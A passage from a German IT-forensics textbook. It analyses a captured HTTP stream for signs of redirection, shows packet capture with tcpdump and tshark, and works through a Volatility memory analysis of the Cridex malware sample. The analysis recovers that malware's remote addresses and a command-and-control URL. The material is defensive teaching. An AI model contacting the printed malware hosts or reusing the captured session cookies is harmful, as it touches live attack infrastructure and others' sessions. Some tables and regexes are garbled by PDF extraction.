User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: PREF=ID=e838c2b817e3bce1:U=60062a538436b1c7:TM=1270920553:LM=1277842996:S =OhL3qyVMZ7U5iUhb; NID=33=ZS4fwc739Wy70aoYxXhJXt1y6ocR0vmTXrhRBTNbQDd97VaMPO0nU8HOWRAMoeDiWMECZGNAbbwsaYEA7WbJHOdrMC36T_k-jKbjN31U3HyBAG3RWHX3rGtAwzTvxRU HTTP/1.1 200 OK Date: Fri, 16 Jul 2010 03:39:32 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: gws Content-Length: 6019 X-XSS-Protection: 1; mode=block ... Ausgabe gekürzt GET /csi?v=3&s=webhp&action=&e=17259,18168,24483,25233,25460,25475,25511,25529,25585&ei=dNQ_TOej LY_6M_Sa8JwH&expi=17259,18168,24483,25233,25460,25475,25511,25529,25585&i mc=1&imn=1&imp=1&rt=prt.30,xjsls.37,xjses.75,xjsee.89,ol.92,iml.45 HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.google.com/ Cookie: PREF=ID=e838c2b817e3bce1:U=60062a538436b1c7:TM=1270920553:LM=1277842996:S 92
=OhL3qyVMZ7U5iUhb; NID=33=ZS4fwc739Wy70aoYxXhJXt1y6ocR0vmTXrhRBTNbQDd97VaMPO0nU8HOWRAMoeDiWMECZGNAbbwsaYEA7WbJHOdrMC36T_k-jKbjN31U3HyBAG3RWHX3rGtAwzTvxRU HTTP/1.1 204 No Content Content-Length: 0 Date: Wed, 21 Jan 2004 19:51:30 GMT Pragma: no-cache Cache-Control: private, no-cache Expires: Wed, 17 Sep 1975 21:32:10 GMT Content-Type: text/html Server: Golfe GET /complete/gsearch?hl=en&client=hp&expIds=17259,18168,24483,25233,25460,25475,25511,25529,25585&sugexp=ldymls& xhr=t&q=U&cp=1&pf=i&hl=en&source=hp&aq=f&aqi=&aql=&oq=U&gs_rfai=&fp=57d9c 86769d1bf04&tch=1&ech=1&psi=dNQ_TOejLY_6M_Sa8JwH12792515729190 HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.google.com/ Cookie: PREF=ID=e838c2b817e3bce1:U=60062a538436b1c7:TM=1270920553:LM=1277842996:S =OhL3qyVMZ7U5iUhb; NID=33=ZS4fwc739Wy70aoYxXhJXt1y6ocR0vmTXrhRBTNbQDd97VaMPO0nU8HOWRAMoeDiWMECZGNAbbwsaYEA7WbJHOdrMC36T_k-jKbjN31U3HyBAG3RWHX3rGtAwzTvxRU HTTP/1.1 200 OK Content-Type: application/json Date: Fri, 16 Jul 2010 03:39:39 GMT Expires: Fri, 16 Jul 2010 03:39:39 GMT Cache-Control: private, max-age=3600 Server: gws Transfer-Encoding: chunked Content-Encoding: gzip ... usw.
93
Wir sehen hier also zuerst eine GET-Anfrage über das HTTP-Protokoll und dann eine Antwort des Servers mit HTTP/1.1 200 OK, dann wieder eine GET-Anfrage, die Antwort HTTP/1.1 204 No Content, eine weitere GET-Anfrage und die Antwort HTTP/1.1 200 OK, usw. Es hat also einiges an Kommunikation stattgefunden und das beweist zwei Dinge: 1. Es war nicht nur ein Versuch, denn das Ausspähen von Daten wurde erfolgreich ermöglicht, da die Kommunikation umgeleitet wurde und auch eine Kommunikation über diese Umleitung erfolgt ist. 2. Es kann kein Zufall sein, denn damit die Kommunikation auch angenommen und weitergeleitet wird, muss der HP-Rechner auch entsprechend konfiguriert werden um dies zu tun. Sie sehen aber auch gut, dass wir hier schon beinahe eine rechtliche Bewertung abgeben. Das steht weder einem IT-Forensiker noch einem Sachverständigen zu und daher muss man mit derartigen Aussagen vorsichtig sein. Ob ein Tool am anderen Ende die Kommunikation tatsächlich belauscht hat können wir eventuell klären, wenn wir den HP-Rechner näher untersuchen. Worauf sollte man achten Im Bereich der IT-Forensik kommt es oft auf jedes Detail an und Wir sehen sehr viele Informationen in dem TCP Stream von vorhin. So sagt uns User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 zB das dieser PC höchstwahrscheinlich (diese Informationen kann man auch fälschen) ein Ubuntu 9.10 Rechner mit Firefox 3.4.8 ist und Accept-Language: en-us,en;q=0.5 deutet darauf hin, dass es ein englisch-sprachiges System ist.
Aber auch das Fehlen von Informationen kann viel aussagen. Wissen wir, dass eine bestimmte Seite ein bestimmtes Cookie aus Sicherheitsgründen setzt und dieser scheint im TCP-Stream bei der Server-Antwort unter SetCookie nicht auf, dann deutet dies darauf hin, dass zB ein MITM (Man In The Middle) Angriff dieses Cookie herausgefiltert hat.
94
Ein plötzlicher Wechsel der Server-Identifikation im Head kann zB darauf hindeuten, dass DNS-Poisoning den User auf einen Fake-Server umgeleitet hat. Dies könnte man zB mit der IP des Servers überprüfen und wenn diese nicht zur IP-Range des Domaininhabers passt dann hat man den Beweis. Eine solche Analyse ist zeitaufwendig und Sie müssen mit entsprechender Sorgfalt jede Kleinigkeit beachten. Es gibt keinen Preis für Schnelligkeit! Geben Sie alles mehrfach durch und konzentrieren Sie sich nur auf eine Frage pro Durchgang!
95
Pakete auf Unix- und Linux-Rechnern aufzeichnen Auf diesen Systemen und damit auch auf OS X sollten Sie das Programm
tcpdump finden. Zuerst müssen wir herausfinden welche Netzwerkkarten in Be-
trieb sind und wie diese heißen:
mark@ubuntu:~$ tcpdump --list-interfaces 1.enp8s0 [Up, Running] 2.any (Pseudo-device that captures on all interfaces) [Up, Running] 3.lo [Up, Running, Loopback] 4.virbr0 [Up] 5.docker0 [Up] 6.virbr0-nic 7.nflog (Linux netfilter log (NFLOG) interface) 8.nfqueue (Linux netfilter queue (NFQUEUE) interface) 9.usbmon1 (USB bus number 1) 10.usbmon2 (USB bus number 2) 11.usbmon3 (USB bus number 3) 12.usbmon4 (USB bus number 4) 13.usbmon5 (USB bus number 5) 14.usbmon6 (USB bus number 6)
Hier entscheiden wir uns zB für enp8s0: mark@ubuntu:~$ sudo tcpdump -i enp8s0 -w dump.pcap [sudo] Passwort für mark: tcpdump: listening on enp8s0, link-type EN10MB (Ethernet), capture size 262144 bytes
Die Option -i legt das Netzwerk-Interface fest und -w schreibt die Daten in eine Datei mit dem namen dump.pcap. Den Vorgang können wir dann mit Strg + C abbrechen. Dann erhalten wir folgende Meldung: ^C 2397 packets captured 2413 packets received by filter 0 packets dropped by kernel
Hier wurden 2397 Pakete in 15,3 Sekunden und damit ca. dem gleichen Zeitraum wie im vorherigen Dump aufgezeichnet. Da dieser Rechner auch gerade einige Browsertabs offen hatte und zusätzlich noch Musik über einen Streaming-Dienst lief war die Paketanzahl deutlich höher und das entspricht eher einem Rechner der gerade benutzt wird. 96
Damit wären wir bei über 560.000 Paketen pro Stunde! Also sehen Sie sich die Filter-Möglichkeiten unter https://www.tcpdump.org/ tcpdump_man.html genau an - sie werden sie brauchen. Für tskark gilt folgende Syntax: root@kali:~# tshark -i eth0 -w /mnt/d/dump.pcapng
Natürlich unterstützt auch tshark das Filtern und viele weitere Optionen. Diese entnehmen Sie der Dokumentation unter: https://www.wireshark.org/ docs/man-pages/tshark.html
Wenn Sie lieber mit einer grafischen Oberfläche arbeiten, können Sie auch termshark installieren. Dies ist ein grafisches Frontend für tshark im Stil von Wireshark.
97
RAM-ANALYSE MIT VOLATILITY Anfänglich war der Standard in der digitalen Forensik das ausschalten des Systems und die Untersuchung der Datenträger. Dies ist aber seit langer Zeit nicht mehr Stand der Technik! Der RAM-Speicher enthält eine Fülle an wertvollen Informationen wie zB Programme, DLLs, Netzwerkverbindungen, geöffnete Dateien und RegistrySchlüssel, etc. Das Vorgehen bei der RAM-Analyse folgt in etwa diesen Schritten: 1. Identifizieren von verdächtigen Prozessen Hierbei können Prozesse, die auf den ersten Blick unverdächtig wirken durchaus schädlich sein. Oftmals tarnen sich derartige Prozesse gut oder heißen gleich wie ein legitimer Systemprozess nur mit einer leicht anderen Schreibweise. 2. Analyse der DLLs Ist ein verdächtiger Prozess gefunden, dann gilt es zu untersuchen welche DLL-Dateien dieser Prozess lädt. Das lässt auch Rückschlüsse darauf zu was dieser Prozess machen könnte. 3. Analyse der Netzwerkverbindungen Malware wird oft fremdgesteuert oder sendet Daten an den Entwickler. 4. Suche nach Hinweisen auf Code-Injection Schadware nutzt oft Techniken wie Process-Hollowing um sich in einen laufenden Prozess einzufügen 5. Suche nach Rootkits Hat ein Hacker oder Malware Zugriff auf Ihr System dann wollen diese möglichst unentdeckt bleiben. Dazu bieten sich sogenannte Rootkits an, die sich selber vor den Werkzeugen des Systems verstecken können. So schaffen es Rootkits zB die eigenen Netzwerkverbindungen vor netstat oder den eigenen Prozess vor dem Taskmanager zu verstecken. Im RAM-Speicher finden sich allerdings Hinweise auf diese Programme. 6. Extrahieren von verdächtigen Prozessen, DLLs und Treibern Nachdem Sie eine Datei identifiziert haben, können Sie diese aus dem RAMDump extrahieren um diese weiter zu untersuchen - zB mit einem Disassembler. Wenn Sie eine schnelle Antwort brauchen hilft in vielen Fällen https://virustotal.com! Also üben wir dies gleich an einem konkreten Beispiel - hierzu habe ich die Datei cridex_memdump.zip von https://github.com/volatilityfoundation/volatility/ wiki/Memory-Samples heruntergeladen und entpackt. 98
Dann können wir uns zuerst die Informationen über den Dump ansehen: mark@REMnux$ volatility -f cridex.vmem imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG... Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86) AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/home/mark/cridex.vmem) PAE type : PAE DTB : 0x2fe000L KDBG : 0x80545ae0L Number of Processors : 1 Image Type (Service Pack) : 3 KPCR for CPU 0 : 0xffdff000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2012-07-22 02:45:08 UTC+0000 Image local date and time : 2012-07-21 22:45:08 -0400
Um den RAM-Dump richtig zu zerlegen und die passenden Informationen zu erhalten müssen wir das richtige Profil definieren. imageinfo gibt uns neben den Grundlegenden Daten über das Image auch einige Vorschläge für das passende Profil. mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 psxview Volatility Foundation Volatility Framework 2.6 Offset(P)
Name
PID pslist psscan thrdproc pspcid csrss session
deskthrd ---------- -------------------- ------ ------ ------ -------- ------ ----- ------ ------- 0x02498700 winlogon.exe True
608 True
True
True
True
True
True
0x02511360 svchost.exe
824 True
True
True
True
True
True
0x022e8da0 alg.exe
788 True
True
True
True
True
True
True
1512 True
True
True
True
True
True
True
0x020b17b8 spoolsv.exe 0x0202ab28 services.exe
True
652 True
True
True
True
True
True
True
0x02495650 svchost.exe
1220 True
True
True
True
True
True
True
0x0207bda0 reader_sl.exe
1640 True
True
True
True
True
True
True
0x025001d0 svchost.exe
1004 True
True
True
True
True
True
True
0x02029ab8 svchost.exe
908 True
True
True
True
True
True
True
0x023fcda0 wuauclt.exe
1136 True
True
True
True
True
True
True
0x0225bda0 wuauclt.exe
1588 True
True
True
True
True
True
True
664 True
True
True
True
True
True
True
0x023dea70 explorer.exe
1484 True
True
True
True
True
True
True
0x023dfda0 svchost.exe
1056 True
True
True
True
True
True
True
368 True
True
True
True
False False
0x0202a3b8 lsass.exe
0x024f1020 smss.exe
False
99
0x025c89c8 System 0x024a0598 csrss.exe
4 True
True
True
True
False False
False
584 True
True
True
True
False True
True
Das Modul psxview ist mein liebster Startpunkt denn damit wird die Sichtbarkeit von Prozessen über die verschiedensten Module ermittelt. Versteckte Prozesse, die in pslist und/oder psscan nicht aufscheinen (false) aber in den anderen sollten zuerst genauer untersucht werden. Hier haben wir aber keine versteckten Prozesse. Also sehen wir uns die Netzwerkverbindungen an: mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 netscan Volatility Foundation Volatility Framework 2.6 ERROR : volatility.debug : This command does not support the profile WinXPSP2x86
Da netscan nur auf Vista und später arbeitet können wir hier connscan verwenden. Falls Sie sich auch für die Sockets interessieren, die netscan auch liefert, dann gibt es noch das Modul socket für Pre-Vista Systeme. mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 connscan Volatility Foundation Volatility Framework 2.6 Offset(P) Local Address Remote Address Pid ---------- ------------------------- ------------------------- --0x02087620 172.16.112.128:1038 41.168.5.140:8080 1484 0x023a8008 172.16.112.128:1037 125.19.103.198:8080 1484
Sehen wir uns die Liste der Prozesse genauer an: mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 pslist Volatility Foundation Volatility Framework 2.6 Offset(V)
PID
PPID
Thds
Hnds
Sess
Wow64 Start
---------- -------------- ----- ------ ------ -------- ------ ------ -------------------------0x823c89c8 System
4
0
53
240 ------
0x822f1020 smss.exe
368
4
3
19 ------
0x822a0598 csrss.exe
584
368
9
326
0
0 2012-07-22 02:42:32 UTC+0000
0x82298700 winlogon.exe
608
368
23
519
0
0 2012-07-22 02:42:32 UTC+0000
0x81e2ab28 services.exe
652
608
16
243
0
0 2012-07-22 02:42:32 UTC+0000
0x81e2a3b8 lsass.exe
664
608
24
330
0
0 2012-07-22 02:42:32 UTC+0000
0x82311360 svchost.exe
824
652
20
194
0
0 2012-07-22 02:42:33 UTC+0000
0x81e29ab8 svchost.exe
908
652
9
226
0
0 2012-07-22 02:42:33 UTC+0000
0x823001d0 svchost.exe
1004
652
64
1118
0
0 2012-07-22 02:42:33 UTC+0000
0x821dfda0 svchost.exe
1056
652
5
60
0
0 2012-07-22 02:42:33 UTC+0000
0x82295650 svchost.exe
1220
652
15
197
0
0 2012-07-22 02:42:35 UTC+0000
100
0 0 2012-07-22 02:42:31 UTC+0000
0x821dea70 explorer.exe
1484
1464
17
415
0
0x81eb17b8 spoolsv.exe
1512
652
14
113
0
0 2012-07-22 02:42:36 UTC+0000
0x81e7bda0 reader_sl.exe
1640
1484
5
39
0
0 2012-07-22 02:42:36 UTC+0000
0x820e8da0 alg.exe
0 2012-07-22 02:42:36 UTC+0000
788
652
7
104
0
0 2012-07-22 02:43:01 UTC+0000
0x821fcda0 wuauclt.exe
1136
1004
8
173
0
0 2012-07-22 02:43:46 UTC+0000
0x8205bda0 wuauclt.exe
1588
1004
5
132
0
0 2012-07-22 02:44:01 UTC+0000
Eine visuell etwas bessere Übersicht der Hierarchie erhalten wir mit: mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 pstree Volatility Foundation Volatility Framework 2.6 Name
Pid
PPid
Thds
Hnds Time
------------------------------- ------ ------ ------ ------ ---4
0
53
. 0x822f1020:smss.exe
0x823c89c8:System
368
4
3
240 1970-01-01 00:00:00 UTC+0000 19 2012-07-22 02:42:31 UTC+0000
.. 0x82298700:winlogon.exe
608
368
23
519 2012-07-22 02:42:32 UTC+0000 243 2012-07-22 02:42:32 UTC+0000
... 0x81e2ab28:services.exe
652
608
16
.... 0x821dfda0:svchost.exe
1056
652
5
60 2012-07-22 02:42:33 UTC+0000
.... 0x81eb17b8:spoolsv.exe
1512
652
14
113 2012-07-22 02:42:36 UTC+0000
.... 0x81e29ab8:svchost.exe
908
652
9
226 2012-07-22 02:42:33 UTC+0000
.... 0x823001d0:svchost.exe
1004
652
64
1118 2012-07-22 02:42:33 UTC+0000
..... 0x8205bda0:wuauclt.exe
1588
1004
5
132 2012-07-22 02:44:01 UTC+0000
..... 0x821fcda0:wuauclt.exe
1136
1004
8
173 2012-07-22 02:43:46 UTC+0000
.... 0x82311360:svchost.exe
824
652
20
194 2012-07-22 02:42:33 UTC+0000
.... 0x820e8da0:alg.exe
788
652
7
104 2012-07-22 02:43:01 UTC+0000
1220
652
15
197 2012-07-22 02:42:35 UTC+0000
... 0x81e2a3b8:lsass.exe
664
608
24
330 2012-07-22 02:42:32 UTC+0000
.. 0x822a0598:csrss.exe
584
368
9
326 2012-07-22 02:42:32 UTC+0000
0x821dea70:explorer.exe
1484
1464
17
415 2012-07-22 02:42:36 UTC+0000
. 0x81e7bda0:reader_sl.exe
1640
1484
5
39 2012-07-22 02:42:36 UTC+0000
.... 0x82295650:svchost.exe
Der einzige Prozess der mit dem Internet kommuniziert ist explorer.exe und die IP-Adressen gehören laut whois zumindest nun nach Providern in Kenia und Indien. Dies sind nicht gerade die Destinationen mit denen dieser Prozess kommunizieren sollte. Darum sehen wir uns einmal die DLL-Liste von PID (-p) 1484 an: mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 dlllist -p 1484 Volatility Foundation Volatility Framework 2.6 ************************************************************************ explorer.exe pid: 1484 Command line : C:\WINDOWS\Explorer.EXE 101
Service Pack 3 Base Size LoadCount LoadTime ---------- ---------- ---------- --------0x01000000 0xff000 0xffff 0x7c900000 0xaf000 0xffff 0x7c800000 0xf6000 0xffff 0x77dd0000 0x9b000 0xffff 0x77e70000 0x92000 0xffff 0x77fe0000 0x11000 0xffff 0x75f80000 0xfd000 0xffff 0x77f10000 0x49000 0xffff 0x7e410000 0x91000 0xffff 0x77c10000 0x58000 0xffff 0x774e0000 0x13d000 0xffff 0x77f60000 0x76000 0xffff 0x77120000 0x8b000 0xffff 0x7e290000 0x171000 0xffff 0x77a80000 0x95000 0xffff 0x77b20000 0x12000 0xffff 0x754d0000 0x80000 0xffff 0x5b860000 0x55000 0xffff 0x77c00000 0x8000 0xffff 0x771b0000 0xaa000 0xffff 0x76c30000 0x2e000 0xffff 0x76c90000 0x28000 0xffff 0x76f60000 0x2c000 0xffff 0x7c9c0000 0x817000 0xffff 0x5ad70000 0x38000 0xffff 0x5cb70000 0x26000 0x1 0x6f880000 0x1ca000 0x1 0x76b40000 0x2d000 0x10 0x77be0000 0x15000 0x3 0x769c0000 0xb4000 0x13 0x773d0000 0x103000 0x13
0x5d090000 0x77b40000 0x76fd0000 0x77050000 0x77a20000 0x76600000 102
0x9a000 0x22000 0x7f000 0xc5000 0x54000 0x1d000
0x2 0x1 0x2 0x2 0x2 0x2
Path ---C:\WINDOWS\Explorer.EXE C:\WINDOWS\system32\ntdll.dll C:\WINDOWS\system32\kernel32.dll C:\WINDOWS\system32\ADVAPI32.dll C:\WINDOWS\system32\RPCRT4.dll C:\WINDOWS\system32\Secur32.dll C:\WINDOWS\system32\BROWSEUI.dll C:\WINDOWS\system32\GDI32.dll C:\WINDOWS\system32\USER32.dll C:\WINDOWS\system32\msvcrt.dll C:\WINDOWS\system32\ole32.dll C:\WINDOWS\system32\SHLWAPI.dll C:\WINDOWS\system32\OLEAUT32.dll C:\WINDOWS\system32\SHDOCVW.dll C:\WINDOWS\system32\CRYPT32.dll C:\WINDOWS\system32\MSASN1.dll C:\WINDOWS\system32\CRYPTUI.dll C:\WINDOWS\system32\NETAPI32.dll C:\WINDOWS\system32\VERSION.dll C:\WINDOWS\system32\WININET.dll C:\WINDOWS\system32\WINTRUST.dll C:\WINDOWS\system32\IMAGEHLP.dll C:\WINDOWS\system32\WLDAP32.dll C:\WINDOWS\system32\SHELL32.dll C:\WINDOWS\system32\UxTheme.dll C:\WINDOWS\system32\ShimEng.dll C:\WINDOWS\AppPatch\AcGenral.DLL C:\WINDOWS\system32\WINMM.dll C:\WINDOWS\system32\MSACM32.dll C:\WINDOWS\system32\USERENV.dll C:\WINDOWS\WinSxS\x86_Microsoft. Windows.Common-Controls_ 6595b64144ccf1df_6.0.2600.5512_xww_35d4ce83\comctl32.dll C:\WINDOWS\system32\comctl32.dll C:\WINDOWS\system32\appHelp.dll C:\WINDOWS\system32\CLBCATQ.DLL C:\WINDOWS\system32\COMRes.dll C:\WINDOWS\System32\cscui.dll C:\WINDOWS\System32\CSCDLL.dll
0x5ba60000 0x71000 0x76380000 0x5000 0x01100000 0x2c5000 0x71d40000 0x1b000 0x7d1e0000 0x2bc000 0x77920000 0xf3000 0x76980000 0x8000 0x76990000 0x25000 0x76b20000 0x11000 0x7e1e0000 0xa2000 0x68000000 0x36000 0x76400000 0x1a5000 0x76c00000 0x2e000 0x478c0000 0xa000 0x76e80000 0xe000 0x736d0000 0x6000 ... Ausgabe gekürzt
0x1 0x1 0x3 0x1 0x1 0x6 0x1 0x1 0x2 0x3 0x1 0x1 0x1 0x2 0x7 0x1
C:\WINDOWS\system32\themeui.dll C:\WINDOWS\system32\MSIMG32.dll C:\WINDOWS\system32\xpsp2res.dll C:\WINDOWS\system32\actxprxy.dll C:\WINDOWS\system32\msi.dll C:\WINDOWS\system32\SETUPAPI.dll C:\WINDOWS\system32\LINKINFO.dll C:\WINDOWS\system32\ntshrui.dll C:\WINDOWS\system32\ATL.DLL C:\WINDOWS\system32\urlmon.dll C:\WINDOWS\system32\rsaenh.dll C:\WINDOWS\system32\NETSHELL.dll C:\WINDOWS\system32\credui.dll C:\WINDOWS\system32\dot3api.dll C:\WINDOWS\system32\rtutils.dll C:\WINDOWS\system32\dot3dlg.dll
Die fett hervorgehobene DLL sieht suspekt aus wegen dem Pfad. Dieser ist mir gänzlich unbekannt. Also extrahieren wie diese DLL und machen einen Schnelltest:
103
mark@REMnux$ mkdir dlls_extracted mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 dlldump -p 1484 -b 0x773d0000 -D dlls_extracted/ Volatility Process(V) ---------0x821dea70
Foundation Volatility Framework 2.6 Name Module Base Module Name Result ---------------- ----------- -------------- -----explorer.exe 0x0773d0000 comctl32.dll OK: module.1484.23dea70. 773d0000.dll
Zuerst erstellen wir den Ordner dlls_extracted und dann exportieren wie die DLL von PID (-p) 1484, die an der Base-Adresse (-b) 0x773d0000 zu finden ist in den Ordner (-D) dlls_extracted. Nach dem Upload auf Virustotal sehen wir Folgendes:
Auch wenn Virustotal die Datei nicht als Schadware erkennt, im Internet finden wir einiges über diese Datei - ich überlasse es an dieser Stelle Ihnen sich die ganzen Forenbeiträge und Artikel durchzulesen. Nach so langer Zeit sollte die Malware allerdings erkannt werden und selbst wenn dies ein aktueller Fall wäre, wird Schadware nach wenigen Tagen erkannt. 2-3 Tage nach dem Erstellen des Dumps sollten die Virenscanner Alarm schlagen. Für den Fall, dass ich mich verrannt habe, gehe ich nochmals zurück und schaue mir an was noch mit exporer.exe zusammenhängt und dabei sehe ich Folgendes: 0x821dea70:explorer.exe
1484
1464
17
415 2012-07-22 02:42:36 UTC+0000
. 0x81e7bda0:reader_sl.exe
1640
1484
5
39 2012-07-22 02:42:36 UTC+0000
PID 1384 (explorer.exe) hat PID 1640 (reader_sl.exe) gestartet. Also sehen wir uns diese Datei näher an:
104
mark@REMnux$ mkdir exes_extracted mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 procdump -p 1640 -D exes_extracted/ Volatility Foundation Volatility Framework 2.6 Process(V) ImageBase Name Result ---------- ---------- -------------------- -----0x81e7bda0 0x00400000 reader_sl.exe OK: executable.1640.exe
Und Virustotal meldet:
Basierend darauf können wir nun die EXE-Datei und die DLL genauer untersuchen. Dazu können wir zB den Befehl strings verwenden: mark@REMnux$ strings exes_extracted/executable.1640.exe |grep -E "[09]+\.[0-9]+\.[0-9]+\.[0-9]+"
mark@REMnux$ strings dlls_extracted/module.1484.23dea70.773d0000.dll |grep -E "[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+" MicrosoftWindowsCommon-Controls-6.0.2600.5512-comctl32.pdb
Hier versuche ich mit dem regulären Ausdruck [0-9]+\.[0-9]+\.[0-9]+\.[0-9]+ IP-Adressen zu finden. Dieser ist zwar nicht ganz sauber formuliert aber ich kann ja immer weiter filtern. Das erbrachte wenig. Also versuchen wir es mit Dateinamen und URLs: mark@REMnux$ strings dlls_extracted/module.1484.23dea70.773d0000.dll |grep -E "[a-z]+\.[a-z]{2,3}" msvcrt.dll ntdll.dll UxTheme.dll 0w.tc msvcrt.dll ntdll.dll 105
mark@REMnux$ strings exes_extracted/executable.1640.exe z]+\.[a-z]{2,3}" |sys|\ddraw.dll |rdr|\AdobeUpdater.dll |rdr|\Javascripts\JSByteCodeWin.bin |rdr|\plug_ins\weblink.api |rdr|\plug_ins\updater.api |rdr|\plug_ins\spelling.api |rdr|\plug_ins\sendmail.api |rdr|\plug_ins\search.api |rdr|\plug_ins\saveasrtf.api |rdr|\plug_ins\reflow.api |rdr|\plug_ins\readoutloud.api |rdr|\plug_ins\ppklite.api |rdr|\plug_ins\pddom.api |rdr|\plug_ins\multimedia.api |rdr|\plug_ins\makeaccessible.api |rdr|\plug_ins\hls.api |rdr|\plug_ins\escript.api |rdr|\plug_ins\ebook.api |rdr|\plug_ins\dva.api |rdr|\plug_ins\digsig.api |rdr|\plug_ins\compare.api |rdr|\plug_ins\checkers.api |rdr|\plug_ins\annots.api |rdr|\plug_ins\acroform.api |rdr|\plug_ins\accessibility.api |rdr|\cooltype.dll |rdr|\bib.dll |rdr|\agm.dll |rdr|\ace.dll |cad|\desktop.ini |cad|\adobe\acrobat\9.0\usercache.bin
|grep
-E
Auf den ersten Blick nichts extrem "Komisches" aber was es mit den Zeilen AdobeUpdater.dll Javascripts\JSByteCodeWin.bin plug_ins\sendmail.api adobe\acrobat\9.0\usercache.bin
106
"[a-
auf sich hat, sollten wir prüfen. Wir könnten einfach eine VM mit dem entsprechenden System aufsetzen und dann das vermeintliche Programm aufspielen und prüfen ob dieses die gleichen Einträge hat. Apropos Programm - schauen wir mal was sich hinter der PID 1640 versteckt: mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 cmdline Volatility Foundation Volatility Framework 2.6 ************************************************************************ System pid: 4 ************************************************************************ smss.exe pid: 368 Command line : \SystemRoot\System32\smss.exe ************************************************************************ csrss.exe pid: 584 Command line : C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16 ************************************************************************ winlogon.exe pid: 608 Command line : winlogon.exe ************************************************************************ services.exe pid: 652 Command line : C:\WINDOWS\system32\services.exe ************************************************************************ lsass.exe pid: 664 Command line : C:\WINDOWS\system32\lsass.exe ************************************************************************ svchost.exe pid: 824 Command line : C:\WINDOWS\system32\svchost -k DcomLaunch ************************************************************************ svchost.exe pid: 908 Command line : C:\WINDOWS\system32\svchost -k rpcss ************************************************************************ svchost.exe pid: 1004 Command line : C:\WINDOWS\System32\svchost.exe -k netsvcs ************************************************************************ svchost.exe pid: 1056 Command line : C:\WINDOWS\system32\svchost.exe -k NetworkService ************************************************************************ svchost.exe pid: 1220 Command line : C:\WINDOWS\system32\svchost.exe -k LocalService ************************************************************************ 107
explorer.exe pid: 1484 Command line : C:\WINDOWS\Explorer.EXE ************************************************************************ spoolsv.exe pid: 1512 Command line : C:\WINDOWS\system32\spoolsv.exe ************************************************************************ reader_sl.exe pid: 1640 Command line : "C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe" ************************************************************************ alg.exe pid: 788 Command line : C:\WINDOWS\System32\alg.exe ************************************************************************ wuauclt.exe pid: 1136 Command line : "C:\WINDOWS\system32\wuauclt.exe" /RunStoreAsComServer Local\[3ec]SUSDSb81eb56fa3105543beb3109274ef8ec1 ************************************************************************ wuauclt.exe pid: 1588 Command line : "C:\WINDOWS\system32\wuauclt.exe"
Es sollte also tatsächlich wie Vermutet der Adobe Reader 9 sein. Die Genaue Analyse dieser Datei machen wir in einem späteren Kapitel. Jetzt sehen wir uns noch an ob sich interessante String in dem Bereich im RAM befinden der diesem Prozess gehört: mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 memdump -p 1640 -D mem_extracted/ Volatility Foundation Volatility Framework 2.6 ************************************************************************ Writing reader_sl.exe [ 1640] to 1640.dmp mark@REMnux$ strings dlls_extracted/1640.dmp |grep -E "[0-9]+\.[09]+\.[0-9]+\.[0-9]+" http://188.40.0.138:8080/zb/v_01_a/in/cp.php
version="6.0.0.0" MicrosoftWindowsCommon-Controls-6.0.2600.5512-comctl32.pdb version="1.0.0.0" version="6.0.0.0" Host:239.255.255.250:1900 108
